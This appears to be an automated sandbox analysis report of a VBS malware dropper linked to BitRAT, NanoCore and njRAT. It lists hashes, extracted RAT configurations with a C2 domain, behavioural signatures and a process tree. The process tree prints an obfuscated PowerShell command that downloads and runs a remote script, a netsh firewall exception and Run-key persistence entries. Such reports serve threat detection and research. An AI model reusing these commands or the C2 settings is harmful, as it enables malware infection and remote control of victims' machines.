bitrat | 2c882065daea3d83e4ccadf5ce780f33b571ec1799691d0355c4c5a0c98dadc0

General

Target

V2N1M2_P.VBS
Size

556B
MD5

d720ecdccd82525a211f09cfefcee6ee
SHA1

f415e9c1a072bdd44f54edabfe5c57f39f71fb0c
SHA256

2c882065daea3d83e4ccadf5ce780f33b571ec1799691d0355c4c5a0c98dadc0
SHA512

1a18293a40e66e9efefb455577b819f83a33c6aa33e953b124130cc3d443658a501ece61edd18b2524224e053dba4dbe596c4ebf656943611b3e97b317770dd0

Score

10^/10

bitrat nanocore njrat hacked evasion keylogger persistence spyware stealer trojan upx

Malware Config

Extracted

Family

njrat

Version

1.9

Botnet

HacKed

Mutex

Microsoft.Exe

Attributes

reg_key
Microsoft.Exe

Extracted

Family

nanocore

Version

1.2.2.0

C2

nov20126746.duckdns.org:6746

Mutex

485093d2-0062-43bc-abc8-c9bc4833e7f5

Attributes

activate_away_mode
true
backup_connection_host
nov20126746.duckdns.org
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2021-09-11T03:46:06.827058436Z
bypass_user_account_control
true
bypass_user_account_control_data
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
6746
default_group
nov 20021
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
485093d2-0062-43bc-abc8-c9bc4833e7f5
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
nov20126746.duckdns.org
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
true
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat

BitRAT Payload 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1228-164-0x00000000007E2730-mapping.dmp	family_bitrat
behavioral2/memory/1228-166-0x0000000000400000-0x00000000007E4000-memory.dmp	family_bitrat
behavioral2/memory/1228-170-0x0000000000400000-0x00000000007E4000-memory.dmp	family_bitrat

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

11 3036 powershell.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

flow	pid	process
11	3036	powershell.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/1228-163-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/1228-166-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/1228-170-0x0000000000400000-0x00000000007E4000-memory.dmp	upx

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

jsc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe\" .."	jsc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe\" .."	jsc.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

Processes:

jsc.exe

pid process

1228 jsc.exe
1228 jsc.exe
1228 jsc.exe
1228 jsc.exe
1228 jsc.exe

pid	process
1228	jsc.exe
1228	jsc.exe
1228	jsc.exe
1228	jsc.exe
1228	jsc.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 3036 set thread context of 708	3036	powershell.exe	jsc.exe
PID 3036 set thread context of 1260	3036	powershell.exe	jsc.exe
PID 3036 set thread context of 1228	3036	powershell.exe	jsc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exejsc.exe

pid process

3036 powershell.exe
3036 powershell.exe
3036 powershell.exe
1260 jsc.exe
1260 jsc.exe
1260 jsc.exe
1260 jsc.exe
1260 jsc.exe
1260 jsc.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

jsc.exe

pid process

1260 jsc.exe

pid	process
3036	powershell.exe
3036	powershell.exe
3036	powershell.exe
1260	jsc.exe
1260	jsc.exe
1260	jsc.exe
1260	jsc.exe
1260	jsc.exe
1260	jsc.exe

pid	process
1260	jsc.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

Processes:

powershell.exejsc.exejsc.exejsc.exe

description	pid	process
Token: SeDebugPrivilege	3036	powershell.exe
Token: SeDebugPrivilege	1260	jsc.exe
Token: SeShutdownPrivilege	1228	jsc.exe
Token: SeDebugPrivilege	708	jsc.exe
Token: 33	708	jsc.exe
Token: SeIncBasePriorityPrivilege	708	jsc.exe
Token: 33	708	jsc.exe
Token: SeIncBasePriorityPrivilege	708	jsc.exe
Token: 33	708	jsc.exe
Token: SeIncBasePriorityPrivilege	708	jsc.exe
Token: 33	708	jsc.exe
Token: SeIncBasePriorityPrivilege	708	jsc.exe
Token: 33	708	jsc.exe
Token: SeIncBasePriorityPrivilege	708	jsc.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

jsc.exe

pid process

1228 jsc.exe
1228 jsc.exe

pid	process
1228	jsc.exe
1228	jsc.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

WScript.exepowershell.exejsc.exe

description	pid	process	target process
PID 3120 wrote to memory of 3036	3120	WScript.exe	powershell.exe
PID 3120 wrote to memory of 3036	3120	WScript.exe	powershell.exe
PID 3036 wrote to memory of 708	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 708	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 708	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 708	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 708	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 708	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 708	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 708	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 1260	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 1260	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 1260	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 1260	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 1260	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 1260	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 1260	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 1260	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 1228	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 1228	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 1228	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 1228	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 1228	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 1228	3036	powershell.exe	jsc.exe
PID 3036 wrote to memory of 1228	3036	powershell.exe	jsc.exe
PID 708 wrote to memory of 1648	708	jsc.exe	netsh.exe
PID 708 wrote to memory of 1648	708	jsc.exe	netsh.exe
PID 708 wrote to memory of 1648	708	jsc.exe	netsh.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\V2N1M2_P.VBS"
1⤵
- Suspicious use of WriteProcessMemory
PID:3120

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ChiptEch=('{2}{1}{0}{3}{4}' -f'bC','WE','NEt.','liE','nt'); $FrEq=('{3}{0}{1}{2}' -f'load','Str','ing','Down'); $sysinfo=('{2}{0}{1}' -f'E','X','I'); &('I'+'EX')(N`Ew-Ob`jE`ct $ChiptEch).$FrEq('https://transfer.sh/get/oQmtoM/byyypass.txt')
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3036

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
3⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:708

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" "jsc.exe" ENABLE
4⤵
PID:1648

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1260

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1228

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/708-146-0x000000000040BBCE-mapping.dmp

Download
memory/708-186-0x0000000004F60000-0x000000000545E000-memory.dmp

Filesize
5.0MB

Download
memory/708-155-0x0000000004E00000-0x0000000004E01000-memory.dmp

Filesize
4KB

Download
memory/708-145-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/1228-170-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/1228-166-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/1228-164-0x00000000007E2730-mapping.dmp

Download
memory/1228-163-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/1260-173-0x00000000065A0000-0x00000000065B5000-memory.dmp

Filesize
84KB

Download
memory/1260-154-0x0000000005340000-0x0000000005341000-memory.dmp

Filesize
4KB

Download
memory/1260-185-0x0000000006880000-0x0000000006881000-memory.dmp

Filesize
4KB

Download
memory/1260-174-0x00000000065E0000-0x00000000065E6000-memory.dmp

Filesize
24KB

Download
memory/1260-183-0x00000000066B0000-0x00000000066BF000-memory.dmp

Filesize
60KB

Download
memory/1260-182-0x0000000006670000-0x0000000006699000-memory.dmp

Filesize
164KB

Download
memory/1260-181-0x0000000006660000-0x000000000666A000-memory.dmp

Filesize
40KB

Download
memory/1260-180-0x0000000006640000-0x000000000664F000-memory.dmp

Filesize
60KB

Download
memory/1260-150-0x000000000041E792-mapping.dmp

Download
memory/1260-149-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/1260-179-0x0000000006630000-0x0000000006632000-memory.dmp

Filesize
8KB

Download
memory/1260-172-0x0000000006590000-0x000000000659D000-memory.dmp

Filesize
52KB

Download
memory/1260-157-0x0000000004F20000-0x0000000004F21000-memory.dmp

Filesize
4KB

Download
memory/1260-160-0x0000000004E40000-0x000000000533E000-memory.dmp

Filesize
5.0MB

Download
memory/1260-161-0x0000000004FC0000-0x0000000004FC1000-memory.dmp

Filesize
4KB

Download
memory/1260-178-0x0000000006620000-0x000000000662D000-memory.dmp

Filesize
52KB

Download
memory/1260-177-0x0000000006610000-0x0000000006617000-memory.dmp

Filesize
28KB

Download
memory/1260-165-0x0000000005040000-0x0000000005045000-memory.dmp

Filesize
20KB

Download
memory/1260-176-0x0000000006600000-0x0000000006606000-memory.dmp

Filesize
24KB

Download
memory/1260-175-0x00000000065F0000-0x00000000065FC000-memory.dmp

Filesize
48KB

Download
memory/1260-168-0x0000000005BF0000-0x0000000005C09000-memory.dmp

Filesize
100KB

Download
memory/1260-169-0x0000000005210000-0x0000000005213000-memory.dmp

Filesize
12KB

Download
memory/1260-171-0x0000000004E40000-0x000000000533E000-memory.dmp

Filesize
5.0MB

Download
memory/1648-184-0x0000000000000000-mapping.dmp

Download
memory/3036-124-0x00000155A9C30000-0x00000155A9C32000-memory.dmp

Filesize
8KB

Download
memory/3036-118-0x0000000000000000-mapping.dmp

Download
memory/3036-119-0x00000155A9C30000-0x00000155A9C32000-memory.dmp

Filesize
8KB

Download
memory/3036-167-0x00000155A9C30000-0x00000155A9C32000-memory.dmp

Filesize
8KB

Download
memory/3036-121-0x00000155A9C30000-0x00000155A9C32000-memory.dmp

Filesize
8KB

Download
memory/3036-122-0x00000155A9C30000-0x00000155A9C32000-memory.dmp

Filesize
8KB

Download
memory/3036-123-0x00000155C2260000-0x00000155C2261000-memory.dmp

Filesize
4KB

Download
memory/3036-127-0x00000155C2323000-0x00000155C2325000-memory.dmp

Filesize
8KB

Download
memory/3036-125-0x00000155A9C30000-0x00000155A9C32000-memory.dmp

Filesize
8KB

Download
memory/3036-126-0x00000155C2320000-0x00000155C2322000-memory.dmp

Filesize
8KB

Download
memory/3036-144-0x00000155C22C0000-0x00000155C22C4000-memory.dmp

Filesize
16KB

Download
memory/3036-133-0x00000155C2326000-0x00000155C2328000-memory.dmp

Filesize
8KB

Download
memory/3036-129-0x00000155A9C30000-0x00000155A9C32000-memory.dmp

Filesize
8KB

Download
memory/3036-128-0x00000155C2430000-0x00000155C2431000-memory.dmp

Filesize
4KB

Download
memory/3036-120-0x00000155A9C30000-0x00000155A9C32000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads